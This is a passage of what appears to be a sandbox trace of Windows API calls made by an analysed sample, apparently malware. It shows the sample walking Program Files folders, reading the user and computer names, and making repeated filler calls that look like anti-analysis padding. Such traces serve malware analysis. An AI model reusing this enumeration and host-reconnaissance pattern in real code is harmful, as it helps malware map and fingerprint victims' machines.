(lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0041.604] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.604] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0041.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0041.604] lstrcpyW (in: lpString1=0x922930, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.604] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0041.604] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.604] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0041.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0041.604] lstrcpyW (in: lpString1=0x9261c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.604] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0041.604] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.604] lstrlenW (lpString="PhotoBase.dll") returned 13 [0041.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0041.604] lstrcpyW (in: lpString1=0x926240, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.604] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0041.604] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.604] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0041.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0041.604] lstrcpyW (in: lpString1=0x9262c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.604] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.604] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.604] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.605] lstrlenW (lpString="Windows Portable Devices") returned 24 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0041.605] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.605] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.605] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.605] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0041.605] lstrlenW (lpString="sqmapi.dll") returned 10 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0041.605] lstrcpyW (in: lpString1=0x926340, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0041.605] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.605] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.605] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.605] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.605] lstrlenW (lpString="Windows Sidebar") returned 15 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0041.605] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.605] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.605] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.605] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.605] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0041.605] lstrlenW (lpString="en-US") returned 5 [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0041.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0041.605] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0041.606] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.606] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.606] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.606] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.606] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.606] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0041.606] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0041.606] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0041.606] lstrcpyW (in: lpString1=0x9263c0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0041.606] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.606] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0041.606] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0041.606] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0041.606] lstrcpyW (in: lpString1=0x9229b8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0041.606] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.606] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.606] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.606] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0041.606] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0041.606] lstrlenW (lpString="Gadgets") returned 7 [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0041.606] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.606] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0041.606] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.607] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="Calendar.Gadget") returned 15 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="Clock.Gadget") returned 12 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="CPU.Gadget") returned 10 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="Currency.Gadget") returned 15 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0041.607] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.607] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0041.607] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0041.607] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.607] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0041.607] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0041.608] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.608] lstrcmpW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0041.608] lstrcmpW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0041.608] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0041.608] lstrlenW (lpString="Weather.Gadget") returned 14 [0041.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0041.608] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.608] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.608] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.608] lstrcmpW (lpString1="pie.exe", lpString2=".") returned 1 [0041.608] lstrcmpW (lpString1="pie.exe", lpString2="..") returned 1 [0041.608] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0041.608] lstrlenW (lpString="pie.exe") returned 7 [0041.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0041.608] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0041.608] lstrcpyW (in: lpString1=0x928e20, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0041.608] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.608] lstrcmpW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0041.608] lstrcmpW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0041.608] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0041.608] lstrlenW (lpString="sbdrop.dll") returned 10 [0041.608] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0041.608] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0041.616] GetUserNameA (in: lpBuffer=0x36f9a0, pcbBuffer=0x36f724 | out: lpBuffer="aETAdzjz", pcbBuffer=0x36f724) returned 1 [0041.618] GetComputerNameA (in: lpBuffer=0x36f8a0, nSize=0x36f724 | out: lpBuffer="YKYD69Q", nSize=0x36f724) returned 1 [0041.618] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x36f7a0, nSize=0x36f724 | out: lpBuffer="YKyd69q", nSize=0x36f724) returned 1 [0041.618] lstrlenA (lpString="aETAdzjz") returned 8 [0041.622] lstrlenA (lpString="just string") returned 11 [0041.622] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.622] GetLastError () returned 0x57 [0041.622] GetLastError () returned 0x57 [0041.622] wsprintfA (in: param_1=0x36fcbb, param_2="%X%P" | out: param_1="6P") returned 2 [0041.622] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetLastError () returned 0x57 [0041.623] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="10P") returned 3 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetLastError () returned 0x57 [0041.623] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CP") returned 3 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetLastError () returned 0x57 [0041.623] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcess () returned 0xffffffff [0041.623] GetLastError () returned 0x57 [0041.623] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="90P") returned 3 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcess () returned 0xffffffff [0041.623] GetLastError () returned 0x57 [0041.623] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="91P") returned 3 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetLastError () returned 0x57 [0041.623] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="92P") returned 3 [0041.623] SetLastError (dwErrCode=0x57) [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetCurrentProcessId () returned 0x81c [0041.623] lstrlenA (lpString="just string") returned 11 [0041.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.623] GetLastError () returned 0x57 [0041.623] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="ECP") returned 3 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] lstrlenA (lpString="just string") returned 11 [0041.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.624] GetLastError () returned 0x57 [0041.624] GetLastError () returned 0x57 [0041.624] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcess () returned 0xffffffff [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="FEP") returned 3 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcess () returned 0xffffffff [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="FFP") returned 3 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="100P") 